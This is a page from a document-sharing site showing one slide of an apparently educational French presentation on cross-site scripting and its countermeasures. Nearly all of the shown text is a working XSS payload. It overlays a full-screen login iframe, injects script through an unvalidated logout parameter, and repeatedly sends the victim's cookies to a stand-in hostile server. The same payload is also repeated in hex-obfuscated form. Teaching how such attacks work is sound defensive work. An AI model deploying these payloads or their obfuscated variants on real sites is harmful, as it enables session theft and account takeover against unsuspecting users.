X hits on this document

116 views

0 shares

0 downloads

0 comments

32 / 46

XSS – de la brise à l'ouragan – III) Tous aux abris – les contre-mesures a) Les attaques XSS, c'est facile à prévenir... Enfin pas tant que cela

document.write("<iframe id=o name=o style='margin:0; padding:0; border-width:0; border- style:none; scrolling:none' src=https://serveur_legitime/page_de_login height=\"100%\" width=\"100%\" ></iframe>"); document.write("<iframe id=i name=i border=0 src=\"https://serveur_legitime/page_de_logout?variable_mal_controlee=<script>function a() {setTimeout('a();',6000);var u='http://serveur_hostile/enregistrement_sessions?w=';var v=document.cookie;var w=u.concat(v);document.getElementById('j').src = w;}a();</s"+"cript><img name=j id=j border=0 height=1 width=1>\" height=1 width=1></iframe>");

var_0xb9a1=["\x3C\x69\x66\x72\x61\x6D\x65\x20\x69\x64\x3D\x6F\x20\x6E\x61\x6D\x65\x3D\x6F\x20 \x73\x74\x79\x6C\x65\x3D\x27\x6D\x61\x72\x67\x69\x6E\x3A\x30\x3B\x20\x70\x61\x64\x64\x69\x6E\x 67\x3A\x30\x3B\x20\x62\x6F\x72\x64\x65\x72\x2D\x77\x69\x64\x74\x68\x3A\x30\x3B\x20\x62\x6F\x72 \x64\x65\x72\x2D\x20\x73\x74\x79\x6C\x65\x3A\x6E\x6F\x6E\x65\x3B\x20\x73\x63\x72\x6F\x6C\x6C\x 69\x6E\x67\x3A\x6E\x6F\x6E\x65\x27\x20\x73\x72\x63\x3D\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x65 \x72\x76\x65\x75\x72\x5F\x6C\x65\x67\x69\x74\x69\x6D\x65\x2F\x70\x61\x67\x65\x5F\x64\x65\x5F\x 6C\x6F\x67\x69\x6E\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x31\x30\x30\x25\x22\x20\x77\x69\x64\x74 \x68\x3D\x22\x31\x30\x30\x25\x22\x20\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E","\x77\x72\x69\x7 4\x65","\x3C\x69\x66\x72\x61\x6D\x65\x20\x69\x64\x3D\x69\x20\x6E\x61\x6D\x65\x3D\x69\x20\x62\x 6F\x72\x64\x65\x72\x3D\x30\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x65\x72 \x76\x65\x75\x72\x5F\x6C\x65\x67\x69\x74\x69\x6D\x65\x2F\x70\x61\x67\x65\x5F\x64\x65\x5F\x6C\x 6F\x67\x6F\x75\x74\x3F\x76\x61\x72\x69\x61\x62\x6C\x65\x5F\x6D\x61\x6C\x5F\x63\x6F\x6E\x74\x72 \x6F\x6C\x65\x65\x3D\x3C\x73\x63\x72\x69\x70\x74\x3E\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x61\x 28\x29\x7B\x73\x65\x74\x54\x69\x6D\x65\x6F\x75\x74\x28\x27\x61\x28\x29\x3B\x27\x2C\x36\x30\x30 \x30\x29\x3B\x76\x61\x72\x20\x75\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x73\x65\x72\x76\x65\x75\x 72\x5F\x68\x6F\x73\x74\x69\x6C\x65\x2F\x65\x6E\x72\x65\x67\x69\x73\x74\x72\x65\x6D\x65\x6E\x74 \x5F\x73\x65\x73\x73\x69\x6F\x6E\x73\x3F\x77\x3D\x27\x3B\x76\x61\x72\x20\x76\x3D\x64\x6F\x63\x 75\x6D\x65\x6E\x74\x2E\x63\x6F\x6F\x6B\x69\x65\x3B\x76\x61\x72\x20\x77\x3D\x75\x2E\x63\x6F\x6E \x63\x61\x74\x28\x76\x29\x3B\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x67\x65\x74\x45\x6C\x65\x6D\x 65\x6E\x74\x42\x79\x49\x64\x28\x27\x6A\x27\x29\x2E\x73\x72\x63\x20\x3D\x20\x77\x3B\x7D\x61\x28 \x29\x3B\x3C\x2F\x73","\x63\x72\x69\x70\x74\x3E\x3C\x69\x6D\x67\x20\x6E\x61\x6D\x65\x3D\x6A\x2 0\x69\x64\x3D\x6A\x20\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x68\x65\x69\x67\x68\x74\x3D\x31\x20\ x77\x69\x64\x74\x68\x3D\x31\x3E\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x31\x20\x77\x69\x64\x74\x6 8\x3D\x31\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E"];document[_0xb9a1[0x1]] (_0xb9a1[0x0]);document[_0xb9a1[0x1]](_0xb9a1[0x2]+_0xb9a1[0x3]); ...

Document info
Document views116
Page views125
Page last viewedThu Dec 08 10:38:58 UTC 2016
Pages46
Paragraphs417
Words3787

Comments